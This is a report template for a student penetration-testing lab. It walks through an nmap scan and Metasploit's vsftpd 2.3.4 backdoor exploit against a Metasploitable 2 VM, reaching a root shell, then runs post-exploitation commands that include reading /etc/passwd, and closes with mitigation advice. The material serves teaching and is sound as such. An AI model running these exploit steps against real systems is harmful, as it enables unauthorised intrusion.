

Penetration Testing Methodology Document

1 Objective

Explain what the task was.

Example:

The objective of this task was to understand penetration testing workflow and exploit a vulnerable service using Metasploit in a controlled lab environment.

2 Lab Environment

Example:

Attacker Machine: Kali Linux

Target Machine: Metasploitable 2

Network: VirtualBox Host-Only Network

Tools Used: Nmap, Metasploit, Hydra, John the Ripper

3 Reconnaissance / Scanning

Explain what you did.

Example:

Command used:

```
nmap -sV 192.168.56.101
```

Result:

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

80/tcp open http

Explanation:

Nmap was used to identify open ports and services running on the target machine.

4 Exploitation

Explain the Metasploit attack.

Commands used:

```
msfconsole
```

```
search vsftpd
```

```
use exploit/unix/ftp/vsftpd_234_backdoor
```

```
set RHOSTS 192.168.56.101
```

```
exploit
```

Result:

Command shell session opened

uid=0(root)

Explanation:

The vsftpd 2.3.4 backdoor vulnerability was exploited, which provided root access to the target system.

5 Post-Exploitation

Commands used:

```
whoami
```

```
hostname
```

```
uname -a
```

```
cat /etc/passwd
```

Explanation:

These commands were used to gather information about the compromised system.

6 Mitigation

Explain how to prevent this attack.

Example:

- Update vulnerable software
 - Disable unnecessary services
 - Implement firewall rules
 - Use strong authentication mechanisms
-

7 Conclusion

Example:

This task demonstrated how vulnerabilities in outdated services can be exploited to gain unauthorized access. Proper patch management and secure configurations are essential to prevent such attacks.